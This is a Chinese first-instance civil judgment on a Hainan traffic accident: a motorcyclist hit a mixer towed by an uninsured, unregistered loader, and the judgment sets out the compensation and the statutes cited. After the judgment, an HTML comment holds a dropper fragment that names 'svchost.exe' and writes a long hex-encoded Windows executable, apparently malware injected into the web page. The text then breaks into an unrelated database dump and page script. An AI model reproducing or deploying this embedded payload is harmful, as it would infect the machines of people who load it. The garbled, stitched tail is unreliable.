海南省东方市人民法院
p t ; ” > 民 事 判 决 书
（2017）琼9007民初2000号
原告：苏先泽，男，汉族，1965年7月4日出生，海南省东方市人，住该市，公民身份号码：×××。
委托诉讼代理人：吴钟球，海南金裕律师事务所律师。
被告：麦贤尊，男，汉族，1979年7月15日出生，海南省东方市人，住该市，公民身份号码：×××。
委托诉讼代理人：柯兆锋，海南天赐律师事务所律师。
原告苏先泽诉被告麦贤尊机动车交通事故责任纠纷一案，本院立案后，依法适用简易程序，公开开庭进行了审理。原告苏先泽及其委托诉讼代理人吴钟球、被告麦贤尊及其委托诉讼代理人柯兆锋到庭参加了诉讼。本案现已审理终结。
原告苏先泽向本院提出诉讼请求：1.判令被告麦贤尊赔偿原告苏先泽人民币236471.73元（住院医疗费99491.63元、误工费18000元、营养费4500元、住院伙食补助费5400元、护理费14894.1元、残疾赔偿金23686元、交通费500元、后续治疗费70000元）；2.判令被告麦贤尊优先在交强险责任限额范围内赔偿原告苏先泽上述损失，不足部分，按责任划分承担赔偿责任。事实和理由：2016年7月10日晚上22时许，被告麦贤尊无机动车驾驶证驾驶无牌号的灯光系、制动系、车身反光标识装置均不合格的莱工牌装载机（牵引搅拌器）在前面行驶，原告苏先泽驾驶的×××号二轮摩托车在后面行驶，在海南省东方市××镇方向海榆西线225线国道行驶至275公里加50米处，因被告麦贤尊驾驶的牵引搅拌器的莱工牌装载机灯光系不合格，且没有车身反光标识装置，加上牵引搅拌器行行停停，造成原告苏先泽驾驶的二轮摩托车碰撞到搅拌机左侧。致使原告苏先泽重型颅脑损伤、肺挫裂伤、全身多处软组织挫裂伤、头皮切口不愈合并感染等伤情。当晚被送往海南省东方市人民医院抢救，次日转院送往海南省海口市人民医院抢救和住院治疗至2016年9月2日，因原告苏先泽没有资金再治疗，找被告麦贤尊要医疗费，遭被告麦贤尊拒绝，逼迫出院。由于被告麦贤尊无机动车驾驶证，驾驶无号牌、灯光系、制动系、车身反光标识装置（实际没有反光标识）均不合格的牵引搅拌机的莱工牌装载机且未依法投保交强险，与原告苏先泽驾驶的二轮摩托车碰撞，致使原告苏先泽重伤（被评为十级伤残），住院治疗五十五天。造成原告苏先泽损失如下：住院医疗费99491.63元、误工费18000元（100元/天×180天）、护理费14894.1元（165.49元/天×90天）、营养费4500（50元/天×90天）、住院伙食补助费5400（100元/天×54天）、残疾赔偿金23680元（11843元/年×10%×20年）、交通费500元、后续治疗费（面部颅骨修补）70000元。另外，由于被告麦贤尊驾驶的莱工牌装载机（牵引搅拌器）未投保交强险，按《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十九条的规定，被告麦贤尊必须依法优先给予赔偿120000元。原告苏先泽为了维护自己的合法权益不受侵害，根据《中华人民共和国道路交通安全法》、《机动车交通事故责任强制保险条例》及海南省公安厅交通警察总队等有关规定，诉至法院，请求法院依法判决，支持原告苏先泽的诉讼请求。
被告麦贤尊辩称：一、海南省东方市公安局交警大队对本案事故第二次作出的东公交认字[2016]第00111号《道路交通事故认定书》中，故意忽略了原告苏先泽具有重大过错的客观事实，并作出了错误的事故责任划分，该认定书不应作为法庭认定本案事实的依据，应当以第一次《道路交通事故认定书》作为本案的定案依据。理由如下:1、根据海南省东方市公安局交警大队现场勘验，海南省东方市公安局交警大队做出第一份《道路交通事故认定书》，可以清楚地知道，原告苏先泽是在酒后、驾驶证与准驾车型不符、未带安全头盔下驾驶，且未与前车保持安全距离，才从后面碰撞上被告麦贤尊装载机后面牵引的搅拌器，是本次交通事故发生的主要原因，应当承担主要责任，然而，海南省东方市公安局交警大队在重新作出的第二次《道路交通事故认定书》中却忽略该重要的客观事实，根据《交通事故处理程序规定》第四十五条第一款第（二）项”因两方或者两方以上当事人的过错发生交通事故的，根据其行为对事故发生的作用以及过错的严重程度，分别承担主要责任、同等责任和次要责任”的规定，原告苏先泽也应对事故承担主要责任，交警部门在认定双方责任时，应该适用本条款的规定，但海南省东方市公安局交警大队第二次认定”麦贤尊承担事故的同等责任”是明显错误的，因此，海南省东方市公安局交警大队于2016年8月16日第一次作出的《道路交通事故认定书》是正确的，法庭应当以第一次《道路交通事故认定书》作为本案的定案依据。2、根据现行的《交通事故处理程序规定》（2004年5月1日施行），并没有规定当事人对道路交通事故认定有异议向上一级公安机关交通管理部门提出复核申请时，上级部门可以发回原单位要求重新作出认定。退一步讲，即使发回原单位重新调查和认定，也不应由原来的经办人参加，否则难以保障认定结论的公正性。本案中，同一交警部门同一经办人员前后出具了两份《道路交通事故认定书》，并且在基本事实没有发生变化的情况下，却在前后两份认定书对双方的违规行为致事故发生所起的作用力大小的确定，作出了根本性的变更。办案交警在重新作出的认定书中，有意回避了原告苏先泽是在酒后、驾驶证与准驾车型不符、未带安全头盔下驾驶，而且未与前车保持安全距离，才从后面碰撞上被告麦贤尊装载机后面牵引的搅拌器，导致交通事故发生的主要原因的这个客观事实，从而将原来”苏先泽承担该事故的主要责任”的认定改变为”麦贤尊、苏先泽承担事故的同等责任”，这样的改变明显难以自圆其说，也是没有依据的，并直接导致了对被告麦贤尊一方不公正的结果。3、基于第二次《道路交通事故责任认定书》认定事实不清、适用法律不当的情况，恳请法庭根据《最高人民法院、公安部关于处理道路交通事故案件有关问题的通知》第四条”人民法院经审查认为公安机关所作出的责任认定、伤残评定确属不妥，则不予采信，以人民法院审理认定的案件事实作为定案的依据。”的规定，对该认定书不予采信，而是根据查明的事实准确认定本案原告苏先泽应当对本案事故承担主要责任，或直接采信海南省东方市公安局交警大队于2016年8月16日作出的《道路交通事故认定书》来作为定案依据。二、原告苏先泽在本案道路交通事故中存在重大过错，应当减轻被告麦贤尊的赔偿责任，根据本案的事实与法律，被告麦贤尊只应承担30%的赔偿责任。如前所述，原告苏先泽是在酒后、驾驶证与准驾车型不符、未带安全头盔下驾驶，而且未与前车保持安全距离，才从后面碰撞上被告麦贤尊装载机后面牵引的搅拌器，是本次道路交通事故发生的主要原因，原告苏先泽在本案道路交通事故中存在明显及重大的过错，应相应减轻被告麦贤尊一方的赔偿责任。本案中，根据原、被告在事故中的过错对事故发生所造成的影响，被告麦贤尊只应承担30%的赔偿责任，原告苏先泽应自行承担70%的损失。三、原告苏先泽主张的损失金额及赔偿金额不合理，法庭应当驳回其不合理部分的赔偿请求。1、医疗费99491.63元，应当以医疗发票为准。2、误工费18000元，不予认可，原告苏先泽是农业户口，误工费不能以一天100元计算，应当根据海南省2016年度交通事故赔偿标准每天60元计算。
3、住院伙食补助费5400元，不予认可，应当以每天50元计算或根据海南省2016年度交通事故赔偿标准计算。4、根据《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第二十四条之规定，营养费应严格根据受害人伤残情况及参照医疗机构的意见确定，本案中，原告苏先泽没有证据证明因本次道路交通事故需要补充营养，因此，其主张营养费4500元，无依据，应予驳回。5、护理费14894.63元，不合理，法庭应当驳回原告苏先泽不合理部分的赔偿请求，护理费应当按每天50元算，其以每天165.45元计算，没有依据。6、残疾赔偿金应当按照农业户口参照海南省2016年度交通事故赔偿标准计算，即9918元/年×20年×10％=19836元。7、没有交通发票，其主张的交通费500元，不予认可。8、关于后续治疗费70000元的问题。根据鉴定结论，原告苏先泽被评为十级伤残，表明原告苏先泽虽然头部有部分缺损，形态异常，但属于无功能障碍，无医疗依赖，生活能完全自理。另外，也无医疗证明或者鉴定结论确定是必然发生的费用，因此，不予认可。9、治疗期间，被告麦贤尊前后共计支付原告苏先泽医疗费22000元，赔偿总额里应当要扣除掉。根据《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十五条”因道路交通事故造成下列财产损失，当事人请求侵权人赔偿的，人民法院应予支持：（三）依法从事货物运输、旅客运输等经营性活动的车辆，因无法从事相应经营活动所产生的合理停运损失”的规定，发生事故后，被告麦贤尊的莱工牌装载机被海南省东方市公安局交警大队扣押43天，导致车轮等零件已损坏，需维修费8000元和经济损失43000元（1000元/天×43天=43000元），被告麦贤尊的损失共计51000元，原告苏先泽应当按责任比例承担赔偿责任。四、关于交强险。根据《机动车交通事故责任强制保险条例》第四十三条规定，被告麦贤尊驾驶的是莱工牌装载机，后面挂的是搅拌器（即装载机后面牵引搅拌器），海南省东方市公安局司法鉴定中心《车辆碰撞检验意见书》及《道路交通事故认定书》证实，原告苏先泽是在酒后、驾驶证与准驾车型不符、未带安全头盔下驾驶，而且未与前车保持安全距离，才从后面碰撞上被告麦贤尊装载机后面牵引的搅拌器发生了本起事故。原告苏先泽碰撞到的是搅拌器而不是挂车，搅拌器不能当作挂车，这个搅拌器相当于一个挂在装载机后面的物体，《中华人民共和国道路交通安全法》及相关法规强制规定机动车必须购买交强险（即被告麦贤尊的装载机上道路必须购买交强险），但没有相关法律规定挂在装载机后面的搅拌器也必须购买交强险。因此，原告苏先泽主张被告麦贤尊的装载机没有购买交强险，应当由被告麦贤尊个人在交强险赔偿限额范围内承担其损失是没有法律依据和事实根据，法院不应支持原告苏先泽的这个主张。
综上所述，原告苏先泽在本案道路交通事故中存在重大过错，应当减轻被告麦贤尊的赔偿责任，根据本案的事实与法律，被告麦贤尊只应承担30%的赔偿责任，恳请人民法院查明客观事实，依法对本案作出公正判决。
本院经审理认定事实如下：2016年7月10日22时许，原告苏先泽饮酒、未戴安全头盔驾驶与驾驶证载明的准驾车型不相符的×××号二轮摩托车从海南省东方市××镇方向经海榆西线开往感城镇方向，22时23分，车行至海榆西线275公里加50米处，适遇被告麦贤尊无机动车驾驶证驾驶灯光系、制动系、车身反光标识装置不合格的无号牌莱工牌装载机牵引搅拌器（所有权人系被告麦贤尊，没有购买任何险种）在其前方同向行驶，因原告苏先泽驾车时未与前车保持安全车距，致使两车发生追尾碰撞，造成原告苏先泽受伤及两车受损的道路交通事故。事故发生后，原告苏先泽被送到海南省东方医院抢救治疗，支出医疗费1384.5元（795元+16.5元+73.4元+151元+348.6元）；次日，被送往海南省海口市人民医院住院治疗，于2016年9月2日出院，实际住院53天，支出医疗费98107.13元，以上医疗费合计99491.63元。海南省东方市公安局交通警察大队于2016年8月16日作出东公交认字[2016]第00111号《道路交通事故认定书》,因原告苏先泽不服，向海南省公安厅交通警察总队申请复核，海南省公安厅交通警察总队以海南省东方市公安局交通警察大队调查本事故基本事实清楚，证据确实充分，但责任认定不准确为由责令海南省东方市公安局交通警察大队在规定时限内重新认定，并撤销了东公交认字[2016]第00111号《道路交通事故认定书》。海南省东方市公安局交通警察大队于2016年10月13日重新作出东公交认字[2016]第001111号《道路交通事故认定书》，认定原告苏先泽和被告麦贤尊承担本案道路交通事故的同等责任。海南医学院法医鉴定中心受海南省东方市公安局交通警察大队委托对原告苏先泽的伤残等级、后续治疗费及”三期”进行司法鉴定，于2017年1月17日作出海医法医鉴定中心[2017]临鉴字第24号《法医临床学司法鉴定意见书》，鉴定意见：1.原告苏先泽受伤被评定为十级伤残；2.后续治疗费约需70000元；3.”三期”综合评定为：误工期180日、护理期90日、营养期90日，均从受伤之日起计算。原告苏先泽于1965年7月4日出生，户口性质为农业家庭户口。
庭审中，原告苏先泽变更诉讼请求如下：1.判令被告麦贤尊赔偿原告苏先泽医疗费99491.63元、误工费18000元、营养费4500元、住院伙食补助费5400元、护理费14894.1元、残疾赔偿金23686元、交通费500元、后续治疗费70000元，合计人民币236471.73元；2.判令被告麦贤尊优先在交强险责任限额范围内赔偿原告苏先泽的上述各项经济损失。
本院所确认的上述事实，有原告苏先泽提供的公民身份证、东公交认字[2016]第00111号、001111号《道路交通事故认定书》、琼公交复字[2016]第191号道路交通事故认定复核结论、海医法医鉴定中心[2017]临鉴字第24号《法医临床学司法鉴定意见书》、海南省海口市人民医院医疗住院收费票据、海南省海口市人民医院病人费用清单、海南省东方医院医疗门诊收费票据、海南省东方市人民法院询问笔录、质证笔录及原、被告双方当事人的开庭陈述笔录等材料在案为凭，这些证据材料在开庭过程中经原、被告双方当事人的举证、质证和本院的审查，来源合法，内容客观真实，可以采信。
本院认为，公民的生命健康权受法律保护，因侵害人的侵权行为导致他人人身伤亡的，侵害人应当赔偿受害人为此遭受的损失。本案交通事故经交警部门现场勘验、调查取证和检验鉴定后，重新作出[2016]第001111号《道路交通事故认定书》，认定了原告苏先泽和被告麦贤尊承担本案道路交通事故的同等责任。该事故责任认定程序合法、结论正确，应予采信。因被告麦贤尊饮酒，故原告苏先泽认为被告麦贤尊应承担本案道路交通事故的主要责任，原告苏先泽承担次要责任。但经交警部门测试，被告麦贤尊案发时段血液中未含乙醇，因此，原告苏先泽认为被告麦贤尊应承担本案道路交通事故的主要责任，原告苏先泽承担次要责任的意见，本院不予采纳。根据《中华人民共和国道路交通安全法》第七十六条”机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿;不足的部分，按照下列规定承担赔偿责任：(一)机动车之间发生交通事故的，由有过错的一方承担赔偿责任;双方都有过错的，按照各自过错的比例分担责任。”和《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十九条”未依法投保交强险的机动车发生交通事故造成损害，当事人请求投保义务人在交强险责任限额范围内予以赔偿的，人民法院应予支持。投保义务人和侵权人不是同一人，当事人请求投保义务人和侵权人在交强险责任限额范围内承担连带责任的，人民法院应予支持。”的规定，被告麦贤尊作为肇事无号牌莱工牌装载机的所有权人，即投保义务人。未依法投保交强险，故原告苏先泽因本案道路交通事故造成的各项损失，首先应由被告麦贤尊在交强险责任限额范围内承担赔偿责任，不足部分，由被告麦贤尊按事故责任承担50%的赔偿责任。本案原告苏先泽的合理损失参照海南省公安厅交通警察总队《2017年度海南省道路交通事故人身损害赔偿项目和计算标准》予以计算，具体认定为：1.医疗费为99491.63元，有原告苏先泽提供的医疗票据为凭；2.误工费,经鉴定，原告苏先泽误工期评定为180天，误工费为13684元（参照上一年度海南省农、林、牧、渔业的平均工资27748元/年÷365天×180天），原告苏先泽主张多余的部分，本院不予认可；3.护理费，经鉴定，原告苏先泽护理期评定为90天，护理费为6842元（参照上一年度海南省农、林、牧、渔业的平均工资27748元/年÷365天×90天），原告苏先泽主张多余的部分，本院不予支持；4.营养费，经鉴定，原告苏先泽营养期评定为90天，本院酌定原告苏先泽营养费为50元/天，营养费为4500元（50元/天×90天）；5.住院伙食补助费，原告苏先泽因此次道路交通事故受伤实际住院53天，住院伙食补助费为5300元（参照海南省国家机关一般工作人员的出差伙食补助100元/天×53天），原告苏先泽主张多余的部分，本院不予支持；6.残疾赔偿金，经鉴定，原告苏先泽受伤被评定为十级伤残，残疾赔偿金为23686元（参照海南省上一年度农村居民人均可支配收入11843元/年×20年×10%）；7.交通费，原告苏先泽虽未提供交通票据予以证明，但该项费用是必然产生的，原告苏先泽主张交通费为500元，属合理范围，本院予以支持；8.后续治疗费，经鉴定，原告苏先泽后续治疗费为70000元，以上损失合计224003.63元（医疗费99491.63元+误工费13684元+护理费6842元+营养费4500元+住院伙食补助费5300元+残疾赔偿金23686元+交通费500元+后续治疗费70000元）。被告麦贤尊在交强险责任限额范围内赔偿原告苏先泽各项损失54712元（医疗费、住院伙食补助费、后续治疗费、营养费共10000元，误工费、护理费、残疾赔偿金、交通费共44712元），剩余的169291.63元（224003.63元-54712元），由被告麦贤尊按事故责任承担50%的赔偿责任，即84645.82元（169291.63元×50%），因被告麦贤尊已向原告苏先泽垫付22000元，故被告麦贤尊尚需赔偿原告苏先泽62645.82元（84645.82元-22000元）。据此，原告苏先泽主张被告麦贤尊赔偿其各项损失，且优先在交强险责任限额范围内承担赔偿责任的诉请，有事实根据和法律依据，本院予以支持。
依照《中华人民共和国侵权责任法》第六条第一款、第十六条、第四十八条，《中华人民共和国道路交通安全法》第七十六条，《最高人民法院关于审理道路交通事故损害赔偿案件适用法律若干问题的解释》第十四条、第十九条，《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条、第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条的规定，判决如下：
一、被告麦贤尊于本判决发生法律效力之日起30日内在交强险责任限额范围内赔偿原告苏先泽各项损失54712元；
二、被告麦贤尊于本判决发生法律效力之日起30日内赔偿原告苏先泽各项损失62645.82元；
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
案件受理费1882.36元，减半收取941.18元，由原告苏先泽负担573.18元（原告苏先泽已申请免交，免交），由被告麦贤尊负担368元。
如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数或者代表人的人数提出副本，上诉于海南省第二中级人民法院。
审判员刘山石
二〇一七年十二月二十七日
书记员林茹
附：适用本案的法律条文内容
《中华人民共和国侵权责任法》
第六条行为人因过错侵害他人民事权益，应当承担侵权责任。
根据法律规定推定行为人有过错，行为人不能证明自己没有过错的，应当承担侵权责任。
第十六条侵害他人造成人身损害的，应当赔偿医疗费、护理费、交通费等为治疗和康复支出的合理费用，以及因误工减少的收入。造成残疾的，还应当赔偿残疾生活辅助具费和残疾赔偿
金。造成死亡的，还应当赔偿丧葬费和死亡赔偿金。
第四十八条机动车发生交通事故造成损害的，依照道路交通安全法的有关规定承担赔偿责任。
《中华人民共和国道路交通安全法》
第七十六条机动车发生交通事故造成人身伤亡、财产损失的，由保险公司在机动车第三者责任强制保险责任限额范围内予以赔偿;不足的部分，按照下列规定承担赔偿责任：
(一)机动车之间发生交通事故的，由有过错的一方承担赔偿责任;双方都有过错的，按照各自过错的比例分担责任。
(二)机动车与非机动车驾驶人、行人之间发生交通事故，非机动车驾驶人、行人没有过错的，由机动车一方承担赔偿责任;有证据证明非机动车驾驶人、行人有过错的，根据过错程度适当减轻机动车一方的赔偿责任;机动车一方没有过错的，承担不超过百分之十的赔偿责任。
交通事故的损失是由非机动车驾驶人、行人故意碰撞机动车造成的，机动车一方不承担赔偿责任。
《最高人民法院关于审理道路交通事故损害赔偿案件适用法律
若干问题的解释》
第十四条道路交通安全法第七十六条规定的”人身伤亡”，是指机动车发生交通事故侵害被侵权人的生命权、健康权等人身权益所造成的损害，包括侵权责任法第十六条和第二十二条规定的各项损害。
道路交通安全法第七十六条规定的”财产损失”，是指因机动车发生交通事故侵害被侵权人的财产权益所造成的损失。
第十九条未依法投保交强险的机动车发生交通事故造成损害，当事人请求投保义务人在交强险责任限额范围内予以赔偿的，人民法院应予支持。
投保义务人和侵权人不是同一人，当事人请求投保义务人和侵权人在交强险责任限额范围内承担连带责任的，人民法院应予支持。
《最高人民法院关于审理人身损害赔偿案件适用法律若干
问题的解释》
第十七条受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所支出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费，以及因康复护理、继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据抢救治疗情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应当承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十条误工费根据受害人的误工时间和收入状况确定。
误工时间根据受害人接受治疗的医疗机构出具的证明确定。受害人因伤致残持续误工的，误工时间可以计算至定残日前一天。
受害人有固定收入的，误工费按照实际减少的收入计算。受害人无固定收入的，按照其最近三年的平均收入计算；受害人不能举证证明其最近三年的平均收入状况的，可以参照受诉法院所在地相同或者相近行业上一年度职工的平均工资计算
第二十一条护理费根据护理人员的收入状况和护理人数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
护理期限应计算至受害人恢复生活自理能力时止。受害人因残疾不能恢复生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不超过二十年。
受害人定残后的护理，应当根据其护理依赖程度并结合配制残疾辅助器具的情况确定护理级别。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差伙食补助标准予以确定。
受害人确有必要到外地治疗，因客观原因不能住院，受害人本人及其陪护人员实际发生的住宿费和伙食费，其合理部分应予赔偿。
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
受害人因伤致残但实际收入没有减少，或者伤残等级较轻但造成职业妨害严重影响其劳动就业的，可以对残疾赔偿金作相应调整。
国务院《诉讼费用交纳办法》
第十六条适用简易程序审理的案件减半交纳案件受理费。
第四十五条当事人申请司法救助，符合下列情形之一的，人民法院应当准予免交诉讼费用：
（一）残疾人无固定生活来源的；
（二）追索赡养费、扶养费、抚育费、抚恤金的；
（三）最低生活保障对象、农村特困定期救济对象、农村五保供养对象或者领取失业保险金人员，无其他收入的；
（四）因见义勇为或者为保护社会公共利益致使自身合法权益受到损害，本人或者其近亲属请求赔偿或者补偿的；
（五）确实需要免交的其他情形。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A','2018-09-28
03:04:39',0,'web',NULL),(27627534,'f43effd2-bdc9-486a-ae48-a8bd007d6d2f','$(function(){$(\"#con_llcs\").html(\"浏览：102次\")});$(function(){var
caseinfo=JSON.stringify({\"法院区县\":\"\",\"法院ID\":\"3196\",\"DocContent\":\"\",\"审判程序\":\"一审\",\"文书全文类型\":\"1\",\"案号\":\"（2014）张中民初字第65号\",\"不公开理由\":\"\",\"法院地市\":\"张掖市\",\"法院省份\":\"甘肃\",\"上传日期\":\"\\\/Date(1523376000000)\\\/\",\"案件类型\":\"2\",\"文书ID\":\"f43effd2-bdc9-486a-ae48-a8bd007d6d2f\",\"案件名称\":\"河南金苑种业有限公司与张掖市裕泰种业开发有限公司追偿权纠纷一审民事裁定书\",\"法院名称\":\"甘肃省张掖市中级人民法院\",\"补正文书\":\"2\",\"法院区域\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"原告河南金苑种业有限公司诉被告张掖市裕泰种业开发有限公司植物新品种追偿权纠纷一案，本院于2014年7月30日受理后，依法组成合议庭，公开开庭进行了审理。在审理中，原告以＂与被告已自行协商解决＂为由，向本院提出撤诉申请\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"河南金苑种业有限公司与张掖市裕泰种业开发有限公司追偿权纠纷一审民事裁定书\");$(\"#tdSource\").html(\"河南金苑种业有限公司与张掖市裕泰种业开发有限公司追偿权纠纷一审民事裁定书
（2014）张中民初字第65号\");$(\"#hidDocID\").val(\"f43effd2-bdc9-486a-ae48-a8bd007d6d2f\");$(\"#hidCaseName\").val(\"河南金苑种业有限公司与张掖市裕泰种业开发有限公司追偿权纠纷一审民事裁定书\");$(\"#hidCaseNumber\").val(\"（2014）张中民初字第65号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"甘肃省张掖市中级人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"3196\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"甘肃省张掖市中级人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"追偿权纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2014-12-18\" },{ name: \"当事人\", key:
\"appellor\", value: \"河南金苑种业有限公司,张掖市裕泰种业开发有限公司\" }],LegalBase:
[{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百四十五条\',法条内容:\'第一百四十五条
系统尚未收录或引用有误
\'},{法条名称:\'第一百五十四条\',法条内容:\'第一百五十四条
系统尚未收录或引用有误
\'}]},{法规名称:\'《诉讼费用交纳办法》\',Items:[{法条名称:\'第十五条\',法条内容:\' 第十五条
以调解方式结案或者当事人申请撤诉的，减半交纳案件受理费。
\'}]}]};if ($(\"#divTool_Summary\").length >
0) {$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"河南金苑种业有限公司与张掖市裕泰种业开发有限公司追偿权纠纷一审民事裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-04-11\\\\\",\\\\\